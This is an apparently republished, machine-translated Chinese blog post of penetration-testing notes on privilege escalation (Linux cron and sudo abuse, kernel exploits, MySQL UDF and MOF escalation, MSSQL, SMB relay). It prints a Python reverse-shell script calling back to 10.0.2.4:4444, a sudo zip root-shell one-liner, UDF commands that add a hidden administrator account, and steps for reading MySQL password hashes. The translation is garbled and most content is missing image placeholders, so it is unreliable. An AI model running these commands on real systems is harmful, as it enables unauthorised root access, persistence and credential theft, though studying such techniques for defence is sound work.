当前位置:网站首页>Penetration test - right raising topic

Penetration test - right raising topic

2022-06-25 05:08:00 amingMM

Introduction to right raising

Often Take down the server web The service is just a low privileged user (www-data)
For intranet penetration , We need to raise the right to root
Upgrading permissions is a critical step ,
Attackers can often exploit kernel vulnerabilities / Improper permission configuration /root Search for breakthrough points by means of services running with permission ,
To achieve the purpose of upgrading permissions .

linux The right raising process of the system involves more than vulnerabilities , It also involves many system configurations .

Premise of raising right :

  • We've got low power shell
  • There is... On the intruded machine nc,python,perl And other very common tools
  • Permission to upload and download files

Linux Raise the right

Kernel vulnerability rights - First consider

First, check whether the kernel vulnerability can be used for authorization . Let's get to know the system first

 # Check out the release 
cat /etc/issue
cat /etc/*-release
#  View kernel version 
uname -a


#  View the system release  Ubuntu 
lsb_release -a 

Looking for kernel overflow code to use searchsploit
 Insert picture description here

 gcc xxx.c -o exploit
chmod +x exploit
./exploit 
 

Kernel overflow rights , But it is usually not used .

Plaintext root Password rights

Most of the linux The password of the system is the same as /etc/passwd、/etc/shadow These two profiles are related to ;
passwd It stores users ,
shadow It's coded hash;
And passwd It's all user readable ,root Can write .
shadow It's just root Can read and write .
Crack linux User name and corresponding password

Use John This tool is used to crack .
Can be in root View password under permission ( If you don't know root password )

Planning tasks

There may be some scheduled tasks in the system ,
Generally these tasks are performed by crontab To manage ,
Have the permissions of the user .

Not root Users with permissions are not allowed to list root User's planned task .
however /etc/ Planned tasks of internal system can be listed
Default these programs to root Permissions to perform ,
If you happen to encounter a script that can be configured to be writable by any user ,
At this time, you can modify the script, etc rootshell;
If the file to be executed is scheduled python Script , You can use the following script to replace the previous script .

#!/usr/bin/python
import os,subprocess,socket

s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

see /etc/crontab Whether there is a file with writable permission
 Insert picture description here

Password reuse

linux The user is required to be from the terminal device (tty) Enter the password , Instead of standard input ,
in other words sudo The essence of entering a password is to read the keyboard , instead of bash The characters inside .
So enter the password , A terminal device is also required .python With this function , Analog terminals , Input

python -c "import pty;pty.spawn('/bin/bash')"

 Insert picture description here
See that the virtual terminal has been started
ssh Sign in
ssh [email protected]

utilize zip Right to raise
sudo -l Checked the currently available root Command information for power raising .

Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip
 

have access to zip Right to raise

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

 Insert picture description here

05 Power raising and Intranet penetration

The third chapter Database delivery

Section 1 SQL Server Database vulnerability exploitation and right raising

 Insert picture description here  Insert picture description here

 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here  Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here  Insert picture description here
dbo jurisdiction Backup database Can not be Carry out orders

 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
SESHELL
mdb The registry operation Carry out orders

 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here

In the second quarter MySQL Database vulnerability and right raising

 Insert picture description here
 Insert picture description here

mysql root Under authority Raise the right

Installation problems
Default in System administrator Next install

To serve start-up

 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
Backup database Just There will be file

 Insert picture description here
 Insert picture description here
 Insert picture description here

 Insert picture description here
mof timing Fine Raise the right

 Insert picture description here
 Insert picture description here

long-range Carry out orders rebound shell Come back *( attack Listening port )

 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here

UDF To enforce system orders

● Linux UDF
The administrator who obtains the target through the database shell, From low authority to high authority

sleep(),sum(),ascii()

 User defined functions 
 Write your own convenient functions , It has 3 A return value ,
 Namely STRING Character ,INTEGER integer ,REAL  real 
  


- master mysql Database account , From having to mysql Of insert and delete jurisdiction , To create and discard functions . Have can udf.dll Permission to write to the corresponding directory 

 The version is greater than 5.1 Of udf.dll Put it in mysql Installation directory libplugin Folder to create custom functions . The directory does not exist by default. You need to create it yourself , Create... In the installation directory libplugin Folder , And then udf.dll Export to this directory .
- windows Premise of raising right

mysql The version is greater than 5.1,
udf.dll The file must be placed in mysql Installation directory lib plugin Under the folder

mysql Version less than 5.1,
udf.dll The file in windows server 2003 Drop on c:windows system32 Catalog ,
stay windows server - - 2000 Place under c:winnt system32 Catalog .

 Insert picture description here

  First 、 Check it out. MySQL yes 32 It's still 64 Bit , There are several ways to view this :
mysql -V
mysql --version
 Get into MySQL In the database , perform : 


show variables like '%datadir%';
-- C:\ProgramData\MySQL\MySQL Server 5.7\Data\


show variables like '%version_%';



 Insert picture description here

 Insert picture description here

 create function cmdshell returns string soname 'udf.dll' 
select cmdshell('net user iis_user [email protected]#abcABC /add'); 
select cmdshell('net localgroup administrators iis_user /add'); 
select cmdshell('regedit /s d:web3389.reg'); 
drop function cmdshell; 
select cmdshell('netstat -an'); 

 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here

  • requirement root jurisdiction

  • mof yes win System comes with Loophole

Mysql Of users are not File Authority - Low authority to get root password

Mysql Exploit ( Ultra vires , Get... From low authority root password )

Unable to get Load_file Reading documents
Or by into dumpfile perhaps into outfile To write a document

adopt load data infile You can read local files to the database , In this way, we can pass this under low permissions bug Read the file on the server

Read mysql Database files ,mysql Library user The table contains all users' hash

 Insert picture description here

 LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';  
 
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by ''; 

select * from test2;

 Insert picture description here

use winhex Open it up user.myd file
 Insert picture description here
By 00 The character is truncated , As a result, the following items are not included in the database .
Let's try to get around this limitation .
After several attempts to find , Add after LINES TERMINATED BY ‘’ that will do , In this way, the truncation symbol is treated as a separator , Complete statement

 
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY ''; 

 Insert picture description here

Windows Smb replay / relay utilize

 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here  Insert picture description here
 Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here
 Insert picture description here
 Insert picture description here  Insert picture description here
 Insert picture description here
 Insert picture description here

 Insert picture description here

CTF- Difficult kernel power raising

 Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here
 Insert picture description here  Insert picture description here
 Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here

windows EXP Raise the right

EXP Spillover claims ( You can't use techniques / Accessibility rights )

exploit —>windows Overflow utilization

shell Connect

Virtual connection rights

  • Chinese kitchen knife
  • Ant sword
  • Malaysia shell Carry out orders dir

In a word, the Trojan horse raises the right


 Insert picture description here  Insert picture description here

Deal with virualbox The problem of connecting with the physical machine

 Insert picture description here

Create an environment

 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here


  1. View permissions whoami systeminfo ( Patch )
  2. Increase authority net user xxx xxx /add net localgroup
  3. Check the port tasklist /svc netstat -ano

 Insert picture description here  Insert picture description here  Insert picture description here

  • Make do with Let's go C Disk file
     Insert picture description here  Insert picture description here
  • Check out the patches
     Insert picture description here
  • Patches For the moment
  • Do as one pleases

 Insert picture description here  Insert picture description here
 Insert picture description here

  • Unintentionally Found a Tools

mysql5.1------Linux Raise the right

#1 Simple deep strike

 Insert picture description here

 Scan weak passwords through assets     FTP  Mysql   Redis   ssh   RPC 

 Insert picture description here
 Insert picture description here  Insert picture description here

  because  root  jurisdiction    Free from low and high permissions  UDP  Raise the right 

i spring and autumn \05 Power raising and Intranet penetration \

Chapter one Right of first sight

Section 1 Overview of right raising

 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here

Basic commands

Check user login query user

 Insert picture description here

 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here
 Insert picture description here

Dirty cow loopholes

Third party software Raise the right - pr Raise the right

Database delivery

sqlserver SA xp cmd shell

mysql udf Plug in authorization Affirm the right MOF Replace file Raise the right

dll file load

ftp typewriting vnc To configure

typewriting Replace exe restart Automatic loading

  • webshell It's based on middleware When installing Authority Based on

 Insert picture description here

In the second quarter Based on password cracking to lift the right

 Insert picture description here
 Insert picture description here

Hash get cracking

 Insert picture description here
 Insert picture description here

LAN arp 、 dns hijacked Sniffing

原网站

版权声明
本文为[amingMM]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/176/202206250402210978.html